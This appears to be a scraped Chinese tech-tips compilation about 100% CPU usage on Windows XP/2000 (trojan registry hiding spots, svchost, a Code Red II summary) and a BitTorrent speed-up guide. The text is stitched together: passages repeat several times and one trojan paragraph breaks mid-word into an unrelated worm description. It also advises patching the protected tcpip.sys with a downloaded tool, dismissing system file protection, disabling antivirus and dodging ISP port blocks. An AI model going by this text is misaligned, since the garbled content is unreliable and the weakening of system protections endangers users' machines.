Explorer 键值改为Explorer=“C:\Windows\expiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序，如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能，最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名，再在整个注册表中搜索即可。
7、超线程导致CPU使用率占用100%
这类故障的共同原因就是都使用了具有超线程功能的P4 CPU。我查找了一些资料都没有明确的原因解释。据一些网友总结超线程似乎和天网防火墙有冲突，可以通过卸载天网并安装其它防火墙解决，也可以通过在BIOS中关闭超线程功能解决。
8、AVI视频文件造成CPU使用率占用100%
在Windows XP中，单击一个较大的AVI视频文件后，可能会出现系统假死现象，并且造成exploere.exe进程的使用率100%，这是因为系统要先扫描该文件，并检查文件所有部分，建立索引。如果文件较大就会需要较长时间并造成CPU占用率100%。解决方法:右键单击保存视频文件的文件夹，选择”属性—>常规—>高级“，去掉”为了快速搜索，允许索引服务编制该文件夹的索引“前面复选框的对钩即可。
9、杀毒软件CPU使用率占用100%
现在的杀毒软件一般都加入了，对网页、邮件、个人隐私的即时监空功能，这样无疑会加大系统的负担。比如:在玩游戏的时候，会非常缓慢。关闭该杀毒软件是解决得最直接办法。
10、处理较大的Word文件时CPU使用率过高
上述问题一般还会造成电脑假死，这些都是因为WORD的拼写和语法检查造成的，只要打开WORD的“工具—选项”，进入“拼写和语法”选项卡，将其中的“键入时检查拼写”和“键入时检查语法”两项前面的复选框中的钩去掉即可。
11、网络连接导致CPU使用率占用100%
当你的Windows2000/xp作为服务器时，收到来自端口445上的连接请求后，系统将分配内存和少量CPU资源来为这些连接提供服务，当负荷过重，就会出现上述情况。要解决这个问题可以通过修改注册表来解决，打开注册表，找到HKEY—LOCAL—MACHNE\SYSTEM\CurrentControlSet\Services\lanmanserver，在右面新建一个名为"；maxworkitems"；的DWORD值.然后双击该值，如果你的电脑有512以上内存，就设置为"；1024"；，如果小于512，就设置为256.
一些不完善的驱动程序也可以造成CPU使用率过高
经常使用待机功能，也会造成系统自动关闭硬盘DMA模式。这不仅会使系统性能大幅度下降，系统启动速度变慢，也会使是系统在运行一些大型软件和游戏时CPU使用率100%，产生停顿。
特征:服务器正常CPU消耗应该在75%以下，而且CPU消耗应该是上下起伏的，出现这种问题的服务器，CPU会突然一直处100%的水平，而且不会下降。查看任务管理器，可以发现是DLLHOST.EXE消耗了所有的CPU空闲时间，管理员在这种情况下，只好重新启动IIS服务，奇怪的是，重新启动IIS服务后一切正常，但可能过了一段时间后，问题又再次出现了。
直接原因:
有一个或多个ACCESS数据库在多次读写过程中损坏，微软的 MDAC 系统在写入这个损坏的ACCESS文件时，ASP线程处于BLOCK状态，结果其它线程只能等待，IIS被死锁了，全部的CPU时间都消耗在DLLHOST中。
解决办法:
安装“一流信息监控拦截系统”，使用其中的“首席文件检查官IIS健康检查官”软件，
启用”查找死锁模块”，设置:
--wblock=yes
监控的目录，请指定您的主机的文件所在目录:
--wblockdir=d:\test
监控生成的日志的文件保存位置在安装目录的log目录中，文件名为:logblock.htm
停止IIS，再启动“首席文件检查官IIS健康检查官”，再启动IIS，“首席文件检查官IIS健康检查官”会在logblock.htm中记录下最后写入的ACCESS文件的。
过了一段时间后，当问题出来时，例如CPU会再次一直处100%的水平，可以停止IIS，检查logblock.htm所记录的最后的十个文件，注意，最有问题的往往是计数器类的ACCESS文件，例如:”**COUNT. MDB ”，”**COUNT.ASP”，可以先把最后十个文件或有所怀疑的文件删除到回收站中，再启动IIS，看看问题是否再次出现。我们相信，经过仔细的查找后，您肯定可以找到这个让您操心了一段时间的文件的。
找到这个文件后，可以删除它，或下载下来，用ACCESS2000修复它，问题就解决了。
2、 svchost.exe造成CPU使用率占用100%
在win.ini文件中，在[Windows]下面，“run=”和“load=”是可能加载“木马”程序的途径，必须仔细留心它们。一般情况下，它们的等号后面什幺都没有，如果发现后面跟有路径与文件名不是你熟悉的启动文件，你的计算机就可能中上“木马”了。当然你也得看清楚，因为好多“木马”，如“AOL Trojan木马”，它把自身伪装成command.exe文件，如果不注意可能不会发现它不是真正的系统启动文件。
在system.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe 程序名”，那幺后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。
在注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE，这里切记:有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的Explorer 键值改为Explorer=“C:\Windows\expiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序，如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能，最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马该病毒也称为“Code Red II(红色代码2)”病毒，与早先在西方英文系统下流行“红色代码”病毒有点相反，在国际上被称为VirtualRoot(虚拟目录)病毒。该蠕虫病毒利用Microsoft已知的溢出漏洞，通过80端口来传播到其它的Web页服务器上。受感染的机器可由黑客们通过Http Get的请求运行scripts/root.exe来获得对受感染机器的完全控制权。
当感染一台服务器成功了以后，如果受感染的机器是中文的系统后，该程序会休眠2天，别的机器休眠1天。当休眠的时间到了以后，该蠕虫程序会使得机器重新启动。该蠕虫也会检查机器的月份是否是10月或者年份是否是2002年，如果是，受感染的服务器也会重新启动。当Windows NT系统启动时，NT系统会自动搜索C盘根目录下的文件explorer.exe，受该网络蠕虫程序感染的服务器上的文件explorer.exe也就是该网络蠕虫程序本身。该文件的大小是8192字节，VirtualRoot网络蠕虫程序就是通过该程序来执行的。同时，VirtualRoot网络蠕虫程序还将cmd.exe的文件从Windows NT的system目录拷贝到别的目录，给黑客的入侵敞开了大门。它还会修改系统的注册表项目，通过该注册表项目的修改，该蠕虫程序可以建立虚拟的目录C或者D，病毒名由此而来。值得一提的是，该网络蠕虫程序除了文件explorer.exe外，其余的操作不是基于文件的，而是直接在内存中来进行感染、传播的，这就给捕捉带来了较大难度。
”程序的文件名，再在整个注册表中搜索即可。
我们先看看微软是怎样描述svchost.exe的。在微软知识库314056中对svchost.exe有如下描述:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。
其实svchost.exe是Windows XP系统的一个核心进程。svchost.exe不单单只出现在Windows XP中，在使用NT内核的Windows系统中都会有svchost.exe的存在。一般在Windows 2000中svchost.exe进程的数目为2个，而在Windows XP中svchost.exe进程的数目就上升到了4个及4个以上。所以看到系统的进程列表中有几个svchost.exe不用那幺担心。
svchost.exe到底是做什幺用的呢?
首先我们要了解一点那就是Windows系统的中的进程分为:独立进程和共享进程这两种。由于Windows系统中的服务越来越多，为了节约有限的系统资源微软把很多的系统服务做成了共享模式。那svchost.exe在这中间是担任怎样一个角色呢?
svchost.exe的工作就是作为这些服务的宿主，即由svchost.exe来启动这些服务。svchost.exe只是负责为这些服务提供启动的条件，其自身并不能实现任何服务的功能，也不能为用户提供任何服务。svchost.exe通过为这些系统服务调用动态链接库(DLL)的方式来启动系统服务。
svchost.exe是病毒这种说法是任何产生的呢?
因为svchost.exe可以作为服务的宿主来启动服务，所以病毒、木马的编写者也挖空心思的要利用svchost.exe的这个特性来迷惑用户达到入侵、破坏计算机的目的。
如何才能辨别哪些是正常的svchost.exe进程，而哪些是病毒进程呢?
svchost.exe的键值是在“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost”，如图1所示。图1中每个键值表示一个独立的svchost.exe组。
微软还为我们提供了一种察看系统正在运行在svchost.exe列表中的服务的方法。以Windows XP为例:在“运行”中输入:cmd，然后在命令行模式中输入:tasklist /svc。系统列出如图2所示的服务列表。图2中红框包围起来的区域就是svchost.exe启动的服务列表。如果使用的是Windows 2000系统则把前面的“tasklist /svc”命令替换为:“tlist -s”即可。如果你怀疑计算机有可能被病毒感染，svchost.exe的服务出现异常的话通过搜索 svchost.exe文件就可以发现异常情况。一般只会找到一个在:“C:\Windows\System32”目录下的svchost.exe程序。如果你在其它目录下发现svchost.exe程序的话，那很可能就是中毒了。
还有一种确认svchost.exe是否中毒的方法是在任务管理器中察看进程的执行路径。但是由于在Windows系统自带的任务管理器不能察看进程路径，所以要使用第三方的进程察看工具。
上面简单的介绍了svchost.exe进程的相关情况。总而言之，svchost.exe是一个系统的核心进程，并不是病毒进程。但由于svchost.exe进程的特殊性，所以病毒也会千方百计的入侵svchost.exe。通过察看svchost.exe进程的执行路径可以确认是否中毒。
3、 Services.exe造成CPU使用率占用100%
症状
在基于 Windows 2000 的计算机上，Services.exe 中的 CPU 使用率可能间歇性地达到100 %，并且计算机可能停止响应(挂起)。出现此问题时，连接到该计算机(如果它是文件服务器或域控制器)的用户会被断开连接。您可能还需要重新启动计算机。如果 Esent.dll 错误地处理将文件刷新到磁盘的方式，则会出现此症状。
解决方案
Service Pack 信息
要解决此问题，请获取最新的 Microsoft Windows 2000 Service Pack。有关其它信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章:
260910 如何获取最新的 Windows 2000 Service Pack
修复程序信息
Microsoft 提供了受支持的修补程序，但该程序只是为了解决本文所介绍的问题。只有计算机遇到本文提到的特定问题时才可应用此修补程序。此修补程序可能还会接受其它一些测试。因此，如果这个问题没有对您造成严重的影响，Microsoft 建议您等待包含此修补程序的下一个 Windows 2000 Service Pack。
要立即解决此问题，请与“Microsoft 产品支持服务”联系，以获取此修补程序。有关“Microsoft 产品支持服务”电话号码和支持费用信息的完整列表，请访问 Microsoft Web 站点:
注意 :特殊情况下，如果 Microsoft 支持专业人员确定某个特定的更新程序能够解决您的问题，可免收通常情况下收取的电话支持服务费用。对于特定更新程序无法解决的其它支持问题和事项，将正常收取支持费用。
下表列出了此修补程序的全球版本的文件属性(或更新的属性)。这些文件的日期和时间按协调通用时间 (UTC) 列出。查看文件信息时，它将转换为本地时间。要了解 UTC 与本地时间之间的时差，请使用“控制面板”中的“日期和时间”工具中的 时区 选项卡。
状态
Microsoft 已经确认这是在本文开头列出的 Microsoft 产品中存在的问题。此问题最初是在 Microsoft Windows 2000 Service Pack 4 中更正的。
4、正常软件造成CPU使用率占用100%
首先，如果是从开机后就发生上述情况直到关机。那幺就有可能是由某个随系统同时登陆的软件造成的。可以通过运行输入“msconfig”打开“系统实用配置工具”，进入“启动”选项卡。接着，依次取消可疑选项前面的对钩，然后重新启动电脑。反复测试直到找到造成故障的软件。或者可以通过一些优化软件如“优化大师”达到上述目的。另:如果键盘内按键卡住也可能造成开机就出现上述问题。
如果是使用电脑途中出项这类问题，可以调出任务管理器(WINXP CTRL+ALT+DEL WIN2000 CTRL+SHIFT“ESC)，进入”进程“选项卡，看”CPU“栏，从里面找到占用资源较高的程序(其中SYSTEM IDLE PROCESS是属于正常，它的值一般都很高，它的作用是告诉当前你可用的CPU资源是多少，所以它的值越高越好)通过搜索功能找到这个进程属于哪个软件。然后，可以通过升级、关闭、卸载这个软件或者干脆找个同类软件替换，问题即可得到解决。
5、病毒、木马、间谍软件造成CPU使用率占用100%
出现CPU占用率100% 的故障经常是因为病毒木马造成的，比如震荡波病毒。应该首先更新病毒库，对电脑进行全机扫描 。接着，在使用反间谍软件Ad—Aware，检查是否存在间谍软件。论坛上有不少朋友都遇到过svchost.exe占用CPU100%，这个往往是中毒的表现。
svchost.exe Windows中的系统服务是以动态链接库(DLL)的形式实现的，其中一些会把可执行程序指向svchost.exe，由它调用相应服务的动态链接库并加上相应参数来启动服务。正是因为它的特殊性和重要性，使它更容易成为了一些病毒木马的宿主。
6、 explorer.exe进程造成CPU使用率占用100%
在system.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe 程序名”，那幺后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。
在注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE，这里切记:有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的
Explorer 键值改为Explorer=“C:\Windows\expiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序，如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能，最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名，再在整个注册表中搜索即可。
7、超线程导致CPU使用率占用100%
这类故障的共同原因就是都使用了具有超线程功能的P4 CPU。我查找了一些资料都没有明确的原因解释。据一些网友总结超线程似乎和天网防火墙有冲突，可以通过卸载天网并安装其它防火墙解决，也可以通过在BIOS中关闭超线程功能解决。
8、AVI视频文件造成CPU使用率占用100%
在Windows XP中，单击一个较大的AVI视频文件后，可能会出现系统假死现象，并且造成exploere.exe进程的使用率100%，这是因为系统要先扫描该文件，并检查文件所有部分，建立索引。如果文件较大就会需要较长时间并造成CPU占用率100%。解决方法:右键单击保存视频文件的文件夹，选择”属性—>常规—>高级“，去掉”为了快速搜索，允许索引服务编制该文件夹的索引“前面复选框的对钩即可。
9、杀毒软件CPU使用率占用100%
现在的杀毒软件一般都加入了，对网页、邮件、个人隐私的即时监空功能，这样无疑会加大系统的负担。比如:在玩游戏的时候，会非常缓慢。关闭该杀毒软件是解决得最直接办法。
10、处理较大的Word文件时CPU使用率过高
上述问题一般还会造成电脑假死，这些都是因为WORD的拼写和语法检查造成的，只要打开WORD的“工具—选项”，进入“拼写和语法”选项卡，将其中的“键入时检查拼写”和“键入时检查语法”两项前面的复选框中的钩去掉即可。
11、网络连接导致CPU使用率占用100%
当你的Windows2000/xp作为服务器时，收到来自端口445上的连接请求后，系统将分配内存和少量CPU资源来为这些连接提供服务，当负荷过重，就会出现上述情况。要解决这个问题可以通过修改注册表来解决，打开注册表，找到HKEY—LOCAL—MACHNE\SYSTEM\CurrentControlSet\Services\lanmanserver，在右面新建一个名为"；maxworkitems"；的DWORD值.然后双击该值，如果你的电脑有512以上内存，就设置为"；1024"；，如果小于512，就设置为256.
一些不完善的驱动程序也可以造成CPU使用率过高
经常使用待机功能，也会造成系统自动关闭硬盘DMA模式。这不仅会使系统性能大幅度下降，系统启动速度变慢，也会使是系统在运行一些大型软件和游戏时CPU使用率100%，产生停顿。
BT提速终极大法
用过BT下载的人相信都有过这样一个疑惑：为什么同一个BT种子，同时都在下载，而且有时还有很多种子，很多人，但是自己的BT速度总是在10Kb以下，有时还是0.0Kb；而别人的BT的速度却很快，有100Kb以上甚至200Kb，还有更牛的是有5～6Mbps的。为什么？为什么我们就不能这么快呢？其实很简单，看过本文之后你的BT的速度也会有这么快了
用过BT下载的人相信都有过这样一个疑惑：为什么同一个BT种子，同时都在下载，而且有时还有很多种子，很多人，但是自己的BT速度总是在10Kb以下，有时还是0.0Kb；而别人的BT的速度却很快，有100Kb以上甚至200Kb，还有更牛的是有5～6Mbps的。为什么？为什么我们就不能这么快呢？其实很简单，看过本文之后你的BT的速度也会有这么快了！
一、BT终极提速的常规设置
1.增大缓存
BT会多线程地下载和上传，Windows默认的512KB的Cache，显然是不够的。如果我们的内存在256MB以上，一般设在16～32MB效果较好。增大缓存可以减少硬盘读写，提高性能。运行 “regedit”；依次打开“HKEY_LOCAL_ MACHINE\\SYSTEM\\ CurrentControlSet\\Control\ \Session Manager\\Memory Management”主键，在右部的子键窗口中新建一个Dword类型的子键“IopageLockLimit”。并且将它的值改为新的缓存值。其中32MB对应8000，16MB对应4000（图1）。重新启动计算机完成系统缓存的修改操作。
2.在防火墙设置里开放BT端口
两个不同防火墙后的用户无法直接连接，所以只要你没开防火墙，即使只有一个种子，BT的速度也会达到下载极限。但如果没有防火墙的保护，有病毒来侵袭怎么办？而打开防火墙，又会降低下载速度，怎么样才能两全齐美呢？其实很简单，我们只需要正确设置参数，不阻拦BT使用的端口即可。正确地对外打开监听端口，这将大大提升你的下载效率。
以WinXP自带的防火墙ICF为例：打开“网上邻居”的属性，在弹出的“网络连接”窗口中右键单击上网用的连接，然后在弹出的菜单中选择“属性”。在“本地连接属性”窗口，选择“高级”选项卡。点击窗口下方的“设置”按钮，弹出“高级设置”窗口。点击“添加”按钮，在弹出“服务设置”窗口中依次填写“服务描述”、“本机IP地址”、“端口号”（BT的端口是6881～6889），在点击“确定”前别忘了选中TCP协议。完成设置后“服务”栏中就增加了一个服务，分别添加完BT需要的所有端口服务后，我们的BT就可以通行无阻了（图2）。
3.降低BT软件优先级
BT软件下载的时候会占用比较多的系统资源，这对其他程序的正常运行会产生一定影响。如果你用的是Win 2000/XP操作系统，则可以用任务管理器降低所有BT软件的优先级，这样它就不会对别的应用程序产生太大的影响了。打开任务管理器，在“进程”标签中用右键点击BT软件进程，接着在弹出菜单中把“设置优先级”选为“低”即可（图3）。
4.正确设置上传速率
在下载软件中设置下载、上传速率，一般情况全局最大下载速率设置为“无限制”，而上传速率要根据带宽情况而定，如果512Kb的ADSL接入的话，设置为40KB/s即可，这样既不会影响BT的下载速度，也可保留带宽用于浏览网页（图4）。
5.关闭其他下载软件
尽量不要同时使用其他的下载工具下载文件，虽然BT抢线的能力不错，但还是会受到一定的影响。
6.内网设置端口
在内网中，外网的机器只能看到你的网关地址，如果对方也在内网中，他就没有办法给你传东西了，那么你们就不能互传文件。这时就需要在代理服务器上增加端口映射来提高BT下载速度，如果使用Windows自带的网络共享连接，在你共享的连接上按右键，选择“属性”，在“共享”页按“设置”按钮，然后在“服务”页选择“添加”按钮，在该页中，名称可以随便填，“服务端口号”中填入6881，勾选TCP，“专用网络上的服务器计算机的名称或地址”中填入你用来BT下载的机器名称或IP地址，然后按“确定”保存。再用同样的方法增加6882～6889端口的映射，把它们通通指向你开始指定的计算机即可。
端口映射还可以用软件PortMap来设置。单击“增加”按钮，在名称里任意输入，输入IP里默认为 Any IP，输入端口里输入6881，输出IP为自己机子的IP，输出端口里输入6881（图5）。依次增加6882～6889端口的设置，完成后启动即可。
软件名称： PortMap
软件版本： 1.6
授权方式： 免费软件
软件大小： 277KB
下载地址： http://www3.skycn.com/soft/10865.html
7.在WinXP SP2中为BT提速
WinXP在安装SP2后，大家可能会感觉到BT下载速度变慢了，但是很多人为了享受SP2带来的诸多新功能又不想轻易卸载该补丁包，以至有点左右为难。于是BT下载的狂热拥护者们，千方百计地寻找突破TCP并发连接数限制的方法。有些朋友使用的修改注册表“TcpNumConnections”的键值的方法，但SP2对线程数目的控制并不是通过注册表实现，而是通过“tcpip.sys”这个系统文件来实现的。因此，修改注册表无法解决TCP并发连接数被限制的问题。
只有修改“tcpip.sys”文件，才可以突破并发连接数限制。对于Windows系统的核心内容一般用户并不了解，因此就无法动手自行修改，而且“tcpip.sys”是非常重要的系统文件，受到Windows系统的保护，正常情况下是无法替换的，必须在安全模式或纯DOS模式下才能替换。为了方便用户替换“tcpip.sys”文件，我们在网上找一个专门的替换程序，这样就无需用户自行修改了。
软件名称： EvID4226Patch
软件版本： 2.12
授权方式： 免费软件
软件大小： 31.5KB
下载地址： http://www.lvllord.de/download.php?url=en/EvID4226Patch212-en.zip
首先进入“C:Windows\ system32\drivers”备份Windows XP系统中的tcpip.sys文件，接着下载替换程序。下载并解压后，运行“EvID4226Patch.exe”，弹出命令行提示符窗口。首先该工具会检测当前Windows系统的tcpip.sys文件版本以及并发连接的限制数值。接着会询问你是否将连接数限制在50，后面有三个可选项。如果你想将并发连接数值修改为“100”，就在提示符后输入“c”，接着替换程序会询问并发连接数需要的限制数值，输入你需要的数值“100”后回车，接着在提示符下输入“Y”并回车，就成功替换了系统的tcpip.sys文件（图6）。把tcpip.sys复制到C:\windows\system32\drivers\、C:\windows\servicepackfiles\i386\和C:\windows\system32\dllcache下替换原文件，再次重启系统后即可解决问题。
由于Windows XP的系统文件保护特性，tcpip.sys文件被替换后，会弹出系统文件保护对话框，此时可点击“取消”按钮，然后点击“是”按钮，重新启动后，就可完成对系统文件tcpip.sys的替换。替换tcpip.sys文件可以为BT下载提速，但同时也牺牲了系统的部分安全功能。一旦机器感染病毒和木马，过多地启用新的线程，会加速病毒和木马的蔓延。因此，大家在追求BT下载终极速度的同时，也不能忽视对病毒和木马的防范。
8.解决端口被封的方案
因为BT占用带宽太多，部分网络运营商禁封了BT的活动端口，使得用户不能用BT下载，其实解决方法也很简单。修改文件类型中torrent文件打开时运行的命令，打开“文件夹选项”然后在“文件类型”中找到torrent这种扩展名，单击“高级”，在打开的窗口中选中“open”，然后点“编辑”，在编辑窗口中下面那行就是启动bt的命令行参数了，在此行结尾加一个空格后增加以下控制端口绑定的参数：--minport 最低端口号 --maxport 最高端口号。其中的端口号请自己随意设置，不要是原来的6881～6889范围就可以了（图7）。
提示：例如 原来是：
"F:\BitSpirit\BitSpirit.exe" "%1"
将其改为：
"F:\BitSpirit\BitSpirit.exe" "%1" --minport 8021 --maxport 8079
二、懒人的BT发动机
软件名称： BT发动机（BT Engine）
软件版本： 4.5
授权方式： 共享软件
软件大小： 908KB
下载地址： http://download.soft4kids.com/btesetup.exe
如果你认为以上的方法太麻烦，可以使用“比特精灵”内置的优化功能（图8），按照提示一步步的设置即可。另外还可以使用下面将要介绍给大家的“BT发动机”。
“BT发动机”是专门针对BT下载进行网络优化的小工具，它可以打开更多的计算机端口以加速BT下载，使计算机能够更有效地连接到BT种子和其他下载者，并最大限度地挖掘Windows系统的保留带宽，使之用于下载。并且它还有硬盘缓冲功能，减少磁头读写的次数，最大限度地保护你的硬盘，目前网上还有其汉化版本下载。
首先在“IP类型”中按照你的宽带接入来选择。拥有独立公网IP的用户，选择“公网IP”。校园网、公司内部网络、共享上网的用户选择“局域网”。“CPU占用”选择“中等”，这样你用BT下载的时候还可以保留一些计算机资源做些别的事情。其他选项使用软件默认的设置。设置完毕后，点击下方的“测试”按钮，看看使用后能提高多少下载速度。如果提高的不是很多，建议你再对其他设置进行修改，以便达到最佳状态。最后点击“运行”按钮完成设置（图9）。
提示：每次要进行BT下载之前，首先运行BT发动机；BT下载完成之后，一定要关闭BT发动机。因为即使没有任何BT下载任务，BT发动机仍然会占据网络带宽，影响其他网络程序的运行。
BT资源大放送
1.bt@china联盟
http://bt.btchina.net
中国BT下载的老大，BT下载的综合站，BT@CHINA联盟提供发布页的联盟成员众多，种子多而且更新快。
2.满分网BT
http://www.manfen.net/forum/btsubsystem.php
下载学习资料的好地方,主要是学习资料，是学习“充电”的好网站。
3.5Q地带[教育网]
http://bt.5qzone.net
教育网内的最大BT下载站。
4.BT资源下载大全
http://greatall.com/
号称互联网国内更新最快的专业BT资源索引，日更新1000余项，包括电影、电视连续剧、动漫、综艺、体育、音乐、学习资料以及其他未做分类的资源。
5.天天BT
http://www.ttbt.cn/
BT资源分类站，又全面又方便，天天BT导航条帮你把五花八门的BT资源精选统计归类，使你不再迷茫，节省你的时间。
软件名称： BT搜宝
软件版本： 1.2
授权方式： 免费软件
软件大小： 1.03 MB
下载地址： http://www.eweb form.com/mysoft/btbaby.zip
如果你觉的在这几个网站上查找种子麻烦的话，可以试用一下专门的搜BT工具—“BT搜宝”，它将国内一些比较大的BT网站的数据收集在一起，并且按照一般的分类方法分成综艺、影视、游戏、音乐等多种类别（图10）。点击“更新资源列表”即可下载各大BT网站的最新数据。若想更快地找到目标种子，可进入“搜索BT资源”标签页，键入要搜索的目标关键词，点击“搜索”后，包含此关键词的BT种子资源就全列出来了。在某个种子上单击右键可查看种子详细信息,双击种子就会自动下载种子文件。下载完毕后，会自动启动BT客户端软件来下载该种子包含的文件。
用过BT下载的人相信都有过这样一个疑惑：为什么同一个BT种子，同时都在下载，而且有时还有很多种子，很多人，但是自己的BT速度总是在10Kb以下，有时还是0.0Kb；而别人的BT的速度却很快，有100Kb以上甚至200Kb，还有更牛的是有5～6Mbps的。为什么？为什么我们就不能这么快呢？其实很简单，看过本文之后你的BT的速度也会有这么快了！
一、BT终极提速的常规设置
1.增大缓存
BT会多线程地下载和上传，Windows默认的512KB的Cache，显然是不够的。如果我们的内存在256MB以上，一般设在16～32MB效果较好。增大缓存可以减少硬盘读写，提高性能。运行 “regedit”；依次打开“HKEY_LOCAL_ MACHINE\\SYSTEM\\ CurrentControlSet\\Control\ \Session Manager\\Memory Management”主键，在右部的子键窗口中新建一个Dword类型的子键“IopageLockLimit”。并且将它的值改为新的缓存值。其中32MB对应8000，16MB对应4000（图1）。重新启动计算机完成系统缓存的修改操作。
2.在防火墙设置里开放BT端口
两个不同防火墙后的用户无法直接连接，所以只要你没开防火墙，即使只有一个种子，BT的速度也会达到下载极限。但如果没有防火墙的保护，有病毒来侵袭怎么办？而打开防火墙，又会降低下载速度，怎么样才能两全齐美呢？其实很简单，我们只需要正确设置参数，不阻拦BT使用的端口即可。正确地对外打开监听端口，这将大大提升你的下载效率。
以WinXP自带的防火墙ICF为例：打开“网上邻居”的属性，在弹出的“网络连接”窗口中右键单击上网用的连接，然后在弹出的菜单中选择“属性”。在“本地连接属性”窗口，选择“高级”选项卡。点击窗口下方的“设置”按钮，弹出“高级设置”窗口。点击“添加”按钮，在弹出“服务设置”窗口中依次填写“服务描述”、“本机IP地址”、“端口号”（BT的端口是6881～6889），在点击“确定”前别忘了选中TCP协议。完成设置后“服务”栏中就增加了一个服务，分别添加完BT需要的所有端口服务后，我们的BT就可以通行无阻了（图2）。
3.降低BT软件优先级
BT软件下载的时候会占用比较多的系统资源，这对其他程序的正常运行会产生一定影响。如果你用的是Win 2000/XP操作系统，则可以用任务管理器降低所有BT软件的优先级，这样它就不会对别的应用程序产生太大的影响了。打开任务管理器，在“进程”标签中用右键点击BT软件进程，接着在弹出菜单中把“设置优先级”选为“低”即可（图3）。
4.正确设置上传速率
在下载软件中设置下载、上传速率，一般情况全局最大下载速率设置为“无限制”，而上传速率要根据带宽情况而定，如果512Kb的ADSL接入的话，设置为40KB/s即可，这样既不会影响BT的下载速度，也可保留带宽用于浏览网页（图4）。
5.关闭其他下载软件
尽量不要同时使用其他的下载工具下载文件，虽然BT抢线的能力不错，但还是会受到一定的影响。
6.内网设置端口
在内网中，外网的机器只能看到你的网关地址，如果对方也在内网中，他就没有办法给你传东西了，那么你们就不能互传文件。这时就需要在代理服务器上增加端口映射来提高BT下载速度，如果使用Windows自带的网络共享连接，在你共享的连接上按右键，选择“属性”，在“共享”页按“设置”按钮，然后在“服务”页选择“添加”按钮，在该页中，名称可以随便填，“服务端口号”中填入6881，勾选TCP，“专用网络上的服务器计算机的名称或地址”中填入你用来BT下载的机器名称或IP地址，然后按“确定”保存。再用同样的方法增加6882～6889端口的映射，把它们通通指向你开始指定的计算机即可。
端口映射还可以用软件PortMap来设置。单击“增加”按钮，在名称里任意输入，输入IP里默认为 Any IP，输入端口里输入6881，输出IP为自己机子的IP，输出端口里输入6881（图5）。依次增加6882～6889端口的设置，完成后启动即可。
软件名称： PortMap
软件版本： 1.6
授权方式： 免费软件
软件大小： 277KB
下载地址： http://www3.skycn.com/soft/10865.html
7.在WinXP SP2中为BT提速
WinXP在安装SP2后，大家可能会感觉到BT下载速度变慢了，但是很多人为了享受SP2带来的诸多新功能又不想轻易卸载该补丁包，以至有点左右为难。于是BT下载的狂热拥护者们，千方百计地寻找突破TCP并发连接数限制的方法。有些朋友使用的修改注册表“TcpNumConnections”的键值的方法，但SP2对线程数目的控制并不是通过注册表实现，而是通过“tcpip.sys”这个系统文件来实现的。因此，修改注册表无法解决TCP并发连接数被限制的问题。
只有修改“tcpip.sys”文件，才可以突破并发连接数限制。对于Windows系统的核心内容一般用户并不了解，因此就无法动手自行修改，而且“tcpip.sys”是非常重要的系统文件，受到Windows系统的保护，正常情况下是无法替换的，必须在安全模式或纯DOS模式下才能替换。为了方便用户替换“tcpip.sys”文件，我们在网上找一个专门的替换程序，这样就无需用户自行修改了。
软件名称： EvID4226Patch
软件版本： 2.12
授权方式： 免费软件
软件大小： 31.5KB
下载地址： http://www.lvllord.de/download.php?url=en/EvID4226Patch212-en.zip
首先进入“C:Windows\ system32\drivers”备份Windows XP系统中的tcpip.sys文件，接着下载替换程序。下载并解压后，运行“EvID4226Patch.exe”，弹出命令行提示符窗口。首先该工具会检测当前Windows系统的tcpip.sys文件版本以及并发连接的限制数值。接着会询问你是否将连接数限制在50，后面有三个可选项。如果你想将并发连接数值修改为“100”，就在提示符后输入“c”，接着替换程序会询问并发连接数需要的限制数值，输入你需要的数值“100”后回车，接着在提示符下输入“Y”并回车，就成功替换了系统的tcpip.sys文件（图6）。把tcpip.sys复制到C:\windows\system32\drivers\、C:\windows\servicepackfiles\i386\和C:\windows\system32\dllcache下替换原文件，再次重启系统后即可解决问题。
